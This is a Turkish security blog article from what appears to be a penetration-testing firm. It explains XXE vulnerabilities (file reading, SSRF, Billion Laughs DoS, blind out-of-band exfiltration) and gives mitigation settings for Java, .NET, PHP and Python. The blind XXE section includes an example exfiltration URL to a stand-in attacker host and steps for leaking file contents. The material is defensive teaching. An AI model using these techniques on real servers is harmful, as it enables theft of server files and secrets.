XXE Zafiyetlerinin Sömürülmesi ve Korunma Yöntemleri | Sibertim
Sibertim · Web Güvenliği · Zafiyet Analizi

XXE Zafiyetlerinin Sömürülmesi ve Korunma Yöntemleri

Gelişen web teknolojileriyle birlikte veri iletim formatları karmaşık bir yapı kazanmaktadır. Dolayısıyla bu durum yeni güvenlik açıklarını beraberinde getirir. Örneğin günümüzde veri alışverişinde sıklıkla tercih edilen XML yapıları, yanlış yapılandırıldığında ciddi güvenlik riskleri oluşturur. Özellikle XXE zafiyetlerinin sömürülmesi süreci, yetkisiz kişilerin sunucu kaynaklarına doğrudan erişmesine imkan tanır. Bu nedenle kurumların bu riskleri doğru analiz etmesi büyük önem taşır.

Bu rehberde XML dış varlık zafiyetlerinin çalışma mekanizmasını ve gerçek hayat senaryolarını detaylıca anlatıyoruz. Bunun yanı sıra modern web uygulamalarında güvenlik standartlarını yükseltecek pratik koruma adımlarını sıralıyoruz. Ayrıca Sibertim olarak uzman kadromuzla sunduğumuz sızma testi hizmetleri, sistemlerinizi bu tür karmaşık tehditlere karşı koruma altına alır.

Hızlı Özet

XXE zafiyetleri, güvensiz XML ayrıştırıcılarından kaynaklanır. Sonuç olarak saldırganlar sistem dosyalarını okuyabilir, iç ağları tarayabilir ve sunuculara DoS saldırıları düzenleyebilir.

XML Güvenliği Sızma Testi SSRF Riskleri Ayrıştırıcı Koruması
Not: Zayıf yapılandırılmış XML ayrıştırıcıları, sistem yöneticilerinin bilgisi dışında hassas yerel dosyaları dış dünyaya sızdırabilir.

XML ve XXE Temelleri

XML, verileri yapılandırılmış bir formatta taşımak amacıyla geliştirilen standart bir metin biçimidir. Bununla birlikte XML dökümanları, Veri Türü Tanımı (DTD) adı verilen özel mekanizmalar barındırır. Örneğin DTD, döküman yapısını tanımlarken genel varlıklar (General Entities) ve parametre varlıkları (Parameter Entities) gibi harici varlıkların kullanımına doğrudan izin verir. Bir XML ayrıştırıcısı varsayılan ayarlarında bu harici varlıkları işleyecek şekilde bırakılırsa güvenlik açığı ortaya çıkar. Dolayısıyla saldırganlar, özel hazırladıkları harici varlıkları metne dahil ederek sunucu taraflı kod çalıştırır veya dosya okur.

Söz konusu harici varlıklar, yerel dosya yollarına (file:///) erişebileceği gibi uzak web adreslerine (http://, ftp://) de yönlenebilir. Bu yetenek, saldırganların sistem mimarisindeki kısıtlamaları aşmasına imkan tanır. Ayrıca bu durum OWASP Top 10 listesinde kritik bir risk faktörü olarak yer alır. Nitekim XXE zafiyetlerinin sömürülmesi, yalnızca yerel verilerin tehlikeye girmesiyle sınırlı kalmaz. Bunun yanı sıra sunucunun iç ağdaki diğer sistemlere saldırmak amacıyla bir atlama tahtası olarak kullanılmasına ortam hazırlar. Sonuç olarak güvensiz kodlama pratikleri ve güncellenmeyen kütüphaneler bu zafiyetin ana kaynakları arasındadır.

Açığın anlaşılması için özellikle XML DTD yapısının çalışma prensiplerini incelemek gerekir. Örneğin aşağıdaki tabloda yaygın XML yapılandırma özellikleri ve taşıdıkları güvenlik risk seviyeleri yer almaktadır:

Yapılandırma Bitiş Noktası Varsayılan Durum Görülen Risk Seviyesi Güvenlik Etkisi
External General Entities Genellikle Açık Yüksek Yerel dosya okuma ve gizli verilerin sızdırılması.
External Parameter Entities Açık / Kütüphaneye Bağlı Kritik Kör (Blind) XXE ve bant dışı (OOB) veri aktarımı.
DTD Processing (DOCTYPE) Etkin Yüksek Bilye bombası (Billion Laughs) tarzı DoS saldırıları.
XML Schema Validation Pasif Orta Girdi doğrulama eksikliği nedeniyle veri bozulması.

Öte yandan varsayılan ayarlarla çalışan ayrıştırıcılar kurumlar için ciddi bir tehdit vektörü oluşturur. Bu doğrultuda uygulamaların aldığı tüm XML girdilerini sıkı denetimden geçirmek gerekir. Bu yüzden güvenlik ekipleri kütüphane seviyesinde önlem almadığı takdirde sistemler dış müdahalelere açık kalır.

Sömürme Yöntemleri

Saldırganlar, hedef sistemde XXE varlığını tespit ettikten sonra farklı yöntemler kullanırlar. Nitekim XXE zafiyetlerinin sömürülmesi sürecinde ilk ve en sık başvurulan yöntem yerel dosya okuma saldırılarıdır. Örneğin saldırgan, XML sorgusuna SYSTEM anahtar kelimesiyle sunucudaki bir dosya yolunu ekler. Ayrıştırıcı dökümanı işlediğinde ilgili dosyanın içeriğini istemciye dönen yanıt metnine dahil eder. Böylece saldırganlar Linux sistemlerdeki /etc/passwd veya Windows sistemlerdeki konfigürasyon dosyalarını bu yolla elde eder.

Bununla birlikte sızdırılan dosyalar arasında veritabanı bağlantı parolaları, API anahtarları veya uygulama kaynak kodları da yer alabilir. İkinci bir saldırı vektörü ise Sunucu Taraflı İstek Sahteciliğidir (SSRF). Bu yöntemde saldırgan, harici varlık tanımına bir dosya yolu yerine iç ağda yer alan dahili bir IP adresi ve port bilgisi yazar. Dolayısıyla XML ayrıştırıcısı, saldırganın talimatı doğrultusunda iç ağdaki servislerle iletişime geçer. Bu durum dış dünyaya kapalı dahili yönetim panellerini veya veritabanı arayüzlerini taranabilir hale getirir.

Söz konusu saldırı aşamalarının teknik adımları sırasıyla şu şekilde ilerler:

  • Girdi Noktasının Tespiti: Örneğin uygulamanın HTTP isteklerinde XML formatında veri kabul edip etmediğini belirleriz.
  • DTD Enjeksiyonu: İsteğe özel bir !DOCTYPE bloğu ekleyerek test varlıkları tanımlarız.
  • Harici Varlık Çağrısı: Tanımlanan varlığı XML gövdesindeki veri alanına çağırıp uygulamanın tepkisini ölçeriz.
  • Veri Çıkarma veya Ağ Tarama: Yanıt içeriklerinden sistem dosyalarını okur ya da iç ağ yönlendirmeleri ile SSRF gerçekleştiririz.

Bunun yanı sıra Hizmet Dışı Bırakma (DoS) saldırıları harici varlıklar üzerinden tetiklenebilir. Özellikle Billion Laughs olarak bilinen yöntemde, iç içe geçmiş varlık tanımları bellek tüketimini maksimuma çıkarır. Uygulama bu veriyi ayrıştırmaya çalışırken sunucu kaynakları tükenir ve sistem yanıt veremez hale gelir. Sonuç olarak bu durum web servislerinin tamamen durmasına yol açabilir.

Kör (Blind) XXE Riskleri

Bazı durumlarda web uygulaması XML verisini işler ancak elde ettiği sonucu doğrudan kullanıcı ekranına yansıtmaz. Dolayısıyla bu tarz senaryolarda klasik dosya okuma teknikleri yanıt vermez. Ancak bu durum zafiyetin sömürülemeyeceği anlamına gelmez. Nitekim Kör (Blind) XXE senaryolarında saldırganlar Bant Dışı (Out-of-Band – OOB) tekniklerden yararlanırlar. Örneğin saldırgan, kontrol ettiği bir sunucuya uygulama tarafından HTTP veya FTP isteği atılmasını sağlar.

Ayrıca FTP protokolünün tercih edildiği senaryolarda satır sonu karakterleri içeren çok satırlı dosyalar daha kolay sızdırılabilir. Bunun yanı sıra parametre varlıkları (Parameter Entities) kullanımı, sunucu üzerindeki hassas verileri dinamik bir URL parametresi olarak saldırganın sunucusuna taşır. Örneğin bir dosya okunduktan sonra içeriği http://attacker.com/?data=DOSYA_ICERIGI şeklinde saldırganın dinleme yaptığı adrese sızar. Böylece uygulama ekrana hiçbir çıktı vermese dahi veri hırsızlığı başarıyla tamamlanır.

Ayrıca kör XXE zafiyetlerinin tespiti manuel analizlerde dikkat gerektirir. Bu nedenle güvenlik uzmanları bu süreçte DNS ve HTTP etkileşimlerini takip eden özel dinleme araçları tercih ederler. Aşağıdaki adımlar bant dışı veri sızdırma sürecini gösterir:

  1. Saldırgan dışarıda erişilebilir bir DTD dosyasını kendi kontrolündeki sunucuda barındırır.
  2. Hedef uygulamaya atılan XML isteğinde bu harici DTD dosyasını parametre varlığı olarak çağırır.
  3. Özellikle hedef sunucudaki XML ayrıştırıcı harici DTD’yi indirir ve içerisindeki talimatları çalıştırır.
  4. Sonuç olarak okunan yerel dosya verisi, saldırganın sunucusuna atılan bağlantı isteğinin sonuna eklenerek sızdırılır.

Buna karşın yanıt dönmeyen sistemlerin güvenli olduğunu varsayamayız. Çünkü siber saldırganlar farklı iletişim protokollerini istismar ederek güvenlik mekanizmalarını atlatırlar. Bu sebeple sunucuların dışa doğru başlattığı tüm ağ trafiğini denetim altında tutmak gerekir.

Korunma Yöntemleri

XXE zafiyetlerinden korunmanın en etkili yolu, XML ayrıştırıcılarında dış varlık işleme özelliklerini kapatmaktır. Nitekim günümüzde kullanılan tüm yazılım dillerinde ve XML kütüphanelerinde DTD ayrıştırmasını devre dışı bırakan parametreler bulunur. Dolayısıyla yazılım geliştiricilerin projelerinde varsayılan ayarları değiştirmesi ve güvenli yapılandırma modlarını aktif etmesi hayati önem taşır.

Bunun yanı sıra yazılım geliştirme süreçlerinde Statik Kod Analizi (SAST) araçları entegre edilerek güvensiz XML kütüphane kullanımları henüz derleme aşamasında tespit edilebilir. Modern sistemlerde XML yerine JSON gibi harici varlık desteği barındırmayan veri formatlarını tercih etmek mantıklı bir yaklaşımdır. Ancak XML kullanımı zorunlu ise girdi doğrulama ve beyaz liste (whitelist) filtreleme süreçleri uygularız. Ayrıca Web Uygulaması Güvenlik Duvarları (WAF) kullanarak gelen zararlı istekleri uygulama katmanına ulaşmadan engelleriz.

Özellikle farklı ortamlarda alınması gereken güvenlik önlemlerini aşağıdaki tabloda özetliyoruz:

Geliştirme Ortamı Önerilen Korunma Yöntemi Uygulama Detayı
Java (DocumentBuilderFactory) Feature Kapatma setFeature("http://xml.org/sax/features/external-general-entities", false)
.NET (XmlDocument) XmlResolver Sıfırlama xmlResolver = null olarak ayarlanmalı.
PHP (libxml) Entity Loader Kapatma libxml_disable_entity_loader(true) fonksiyonu çağrılmalı.
Python (defusedxml) Güvenli Kütüphane Standart xml kütüphanesi yerine defusedxml paketi kullanılmalı.

Söz konusu tedbirlerin yanı sıra sistem yöneticileri sunucu seviyesinde düzenlemeler yapmalıdır. Örneğin uygulama sunucularının ağ erişimlerini kısıtlayarak gereksiz dış bağlantıları engelleriz. Bunun yanı sıra en az yetki prensibi uyarınca XML ayrıştırıcısını çalışan servis kullanıcısının sistem dosyalarına erişim yetkilerini sınırlandırırız. Konu hakkında detaylı bilgi için OWASP XXE Önleme Rehberi kaynağını inceleyebilirsiniz. Güvenlik standartları hakkında akademik dokümanlara ulaşmak için NIST Resmi Portalı üzerindeki kılavuzları takip edebilirsiniz.

Sibertim Hizmetleri

Sibertim, web uygulamalarınızın ve kurumsal altyapılarınızın güvenliğini sağlamak adına uçtan uca sızma testi ve zafiyet analizi hizmetleri sunar. Bu doğrultuda alanında uzman Siber Savunma ve Test ekiplerimiz, uygulamalarınızı XXE zafiyetlerinin sömürülmesi riskleri dahil olmak üzere yüzlerce farklı saldırı senaryosına karşı test eder. Süreç boyunca otomatik tarama araçlarının yanında özellikle derinlemesine manuel analizler gerçekleştiririz.

Analiz sürecinde tespit ettiğimiz açıkları risk seviyelerine göre derecelendirir ve kurumunuza özel detaylı raporlar hazırlarız. Ayrıca raporlarımızda zafiyetin kök nedeni, sömürülme adımları ve yazılım ekibinizin kolayca uygulayabileceği çözüm önerileri anlaşılır bir dille yer alır. Böylece kod seviyesindeki düzeltmeleri hızla hayata geçirirsiniz.

Nitekim Sibertim ile çalışarak elde edeceğiniz temel avantajlar şunlardır:

  • Gelişmiş Manuel Sızma Testleri: Otomatik araçların kaçırabileceği karmaşık mantıksal hataların ve kör zafiyetlerin tespiti.
  • Uygulamalı Kapatma Doğrulaması: Bildirilen zafiyetler kapatıldıktan sonra ücretsiz tekrar testleri ile tam güvenliğin teyit edilmesi.
  • Mevzuata Uyumluluk Desteği: KVKK, BDDK ve ISO 27001 gibi standartların gerektirdiği güvenlik testlerinin uluslararası kriterlerde raporlanması.
  • Sürekli Danışmanlık: Yazılım geliştirme yaşam döngünüze (DevSecOps) güvenlik standartlarının entegre edilmesi için rehberlik.

Sonuç olarak sistemlerinizin güvenliğini riske atmadan önce profesyonel bir değerlendirme almak kritik önem taşır. Detaylı bilgi almak ve kurumunuza özel sızma testi tekliflerimizi değerlendirmek için Sibertim Sızma Testi Çözümleri sayfamızı ziyaret edebilirsiniz.

Sık Sorulan Sorular

XXE zafiyeti ile XSS arasındaki temel fark nedir?

Özellikle XXE zafiyeti sunucu tarafında (Server-Side) meydana gelir ve doğrudan XML ayrıştırıcısını hedef alır. Buna karşın XSS ise istemci tarafında (Client-Side) tarayıcı üzerinde JavaScript kodlarının çalıştırılması esasına dayanır.

Sadece JSON kullanan uygulamalar XXE saldırılarından etkilenir mi?

Doğrudan etkilenmez. Ancak uygulamanız istemciden gelen Content-Type başlığını denetlemiyorsa ve gelen JSON verisini arka planda XML’e dönüştürerek işliyorsa dolaylı olarak bu zafiyete maruz kalabilir.

WAF kullanımı XXE zafiyetlerini tek başına engellemek için yeterli midir?

WAF bir ek savunma katmanıdır ancak tek başına yeterli değildir. Çünkü saldırganlar karmaşık kodlama (encoding) veya farklı DTD yapılarıyla WAF kurallarını atlatabilir. Dolayısıyla kesin çözüm kod seviyesinde DTD ayrıştırmasını kapatmaktır.

Billion Laughs saldırısı verilerimin çalınmasına yol açar mı?

Hayır, Billion Laughs saldırısı doğrudan veri hırsızlığı yapmaz. Nitekim bu bir Hizmet Dışı Bırakma (DoS) saldırısıdır ve sunucu belleğini tüketerek uygulamanın kilitlenmesini hedefler.

Otomatik tarama araçları tüm XXE açıklarını tespit edebilir mi?

Otomatik araçlar temel XXE zafiyetlerini tespit etmede başarılıdır. Bununla birlikte izole ağlardaki sistemlerde yer alan Kör (Blind) XXE açıklarını tespitte yetersiz kalırlar. Bu nedenle uzmanlarca yapılan manuel sızma testleri şarttır.

XXE XML Güvenliği Sızma Testi SSRF Web Güvenliği Sibertim

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir